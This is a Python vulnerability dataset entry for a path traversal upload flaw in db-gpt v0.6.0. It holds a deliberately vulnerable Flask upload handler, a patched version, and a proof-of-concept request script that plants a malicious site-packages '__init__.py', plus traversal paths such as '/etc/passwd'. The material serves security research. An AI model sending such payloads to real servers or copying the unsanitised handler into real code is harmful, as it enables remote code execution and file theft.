CVE-2024-10902
Arbitrary File Upload, Path Traversal in db-gpt v0.6.0, leads to RCE.
- CVSS 9.8
- CWE-22
- Input Validation and Sanitization
- Remote
In eosphoros-ai/db-gpt version v0.6.0, the web API `POST /v1/personal/agent/upload` is vulnerable to Arbitrary File Upload with Path Traversal. This vulnerability allows unauthorized attackers to upload arbitrary files to the victim's file system at any location. The impact of this vulnerability includes the potential for remote code execution (RCE) by writing malicious files, such as a malicious `__init__.py` in the Python's `/site-packages/` directory.
- CWE
- CWE-22
- CVSS base score
- 9.8
- Published
- 2025-03-20
- OWASP
- A01 Broken Access Control
- Orthogonal defect classification
- Interface
- Code defect classification
- Incorrect Functionality
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- db-gpt
- Fixed by upgrading
- Yes
Solution
Upgrade to a patched version greater than v0.6.0 that includes input sanitization and path validation for file uploads. Check the project's changelog or security advisories for the specific patched version.
Vulnerable code sample
from flask import Flask, request, send_from_directory
import os
app = Flask(__name__)
UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
@app.route('/v1/personal/agent/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return 'No file part', 400
file = request.files['file']
if file.filename == '':
return 'No selected file', 400
filename = file.filename # Potentially vulnerable: Missing sanitization
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return 'File uploaded successfully', 200
@app.route('/uploads/<filename>')
def uploaded_file(filename):
return send_from_directory(app.config['UPLOAD_FOLDER'], filename)
if __name__ == '__main__':
app.run(debug=True)
```
**Explanation of the Vulnerability (as represented in the code):**
The core vulnerability lies in this line within the `upload_file` function:
```python
filename = file.filename # Potentially vulnerable: Missing sanitization
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
```
The code takes the filename directly from the uploaded file without any sanitization or validation. An attacker could craft a filename that includes path traversal sequences like `"../../../../etc/passwd"` or `"../../../../path/to/site-packages/__init__.py"`. When `os.path.join` is used, it constructs a path that allows writing files *outside* the intended `UPLOAD_FOLDER`.
**How the Attack Would Work:**
1. **Craft a Malicious Filename:** An attacker would create a file (e.g., a Python script) and set its filename to something like `../../../../path/to/site-packages/__init__.py`. The exact path would depend on the target system's file structure and Python environment.
2. **Upload the File:** The attacker would use a tool like `curl` or a simple HTTP client to send a `POST` request to `/v1/personal/agent/upload`, including the file with the malicious filename.
3. **Overwrite/Create Files:** The `file.save()` function would then write the contents of the uploaded file to the path specified by the crafted filename. This could overwrite existing files (like `__init__.py`) or create new files in locations the attacker shouldn't have access to.
**Why This is Dangerous:**
* **Remote Code Execution (RCE):** Overwriting or creating a `__init__.py` file in Python's `site-packages` directory is a very serious issue. This file is executed when Python imports a package. An attacker can insert malicious code into `__init__.py` and achieve RCE whenever any Python script imports that package.
* **Data Leakage:** If the attacker can read sensitive files (e.g., using a path like `../../../../etc/passwd`), they can obtain usernames, system information, and potentially even passwords (if not properly hashed).
* **System Compromise:** Depending on the level of access the web application's user has, the attacker could potentially take over the entire server.
**Important Disclaimer:** This code is provided for educational and demonstration purposes *only*. Do not use it in a production environment. It is *intentionally vulnerable*. Any use of this code for malicious purposes is illegal and unethical. Always patch vulnerabilities and implement proper security measures to protect your systems.Patched code sample
import os
from flask import Flask, request, jsonify
from werkzeug.utils import secure_filename
app = Flask(__name__)
UPLOAD_FOLDER = 'uploads' # Define a safe upload directory
ALLOWED_EXTENSIONS = {'txt', 'pdf', 'png', 'jpg', 'jpeg'} # Restrict allowed file types
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/v1/personal/agent/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return jsonify({'error': 'No file part'}), 400
file = request.files['file']
if file.filename == '':
return jsonify({'error': 'No selected file'}), 400
if file and allowed_file(file.filename):
filename = secure_filename(file.filename) # Sanitize filename
# Construct the secure file path by joining the upload directory and sanitized filename
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
# **Crucial Path Traversal Fix:** Resolve the path to ensure it's within the upload directory.
# This prevents writing files outside the intended directory.
absolute_path = os.path.abspath(filepath)
upload_dir_absolute = os.path.abspath(app.config['UPLOAD_FOLDER'])
if not absolute_path.startswith(upload_dir_absolute):
return jsonify({'error': 'Invalid file path. Attempted path traversal.'}), 400
file.save(absolute_path)
return jsonify({'message': 'File uploaded successfully', 'filename': filename}), 200
else:
return jsonify({'error': 'Invalid file type'}), 400
if __name__ == '__main__':
# Create the upload folder if it doesn't exist
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
app.run(debug=True)Payload
import requests
import os
url = "http://example.com/v1/personal/agent/upload" # Replace with the actual URL
files = {
'file': ('../../../site-packages/__init__.py', b"import os; os.system('touch /tmp/pwned')", 'application/octet-stream')
}
r = requests.post(url, files=files)
print(r.text)
Cite this entry
@misc{vaitp:cve202410902,
title = {{Arbitrary File Upload, Path Traversal in db-gpt v0.6.0, leads to RCE.
}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2024-10902},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2024-10902/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
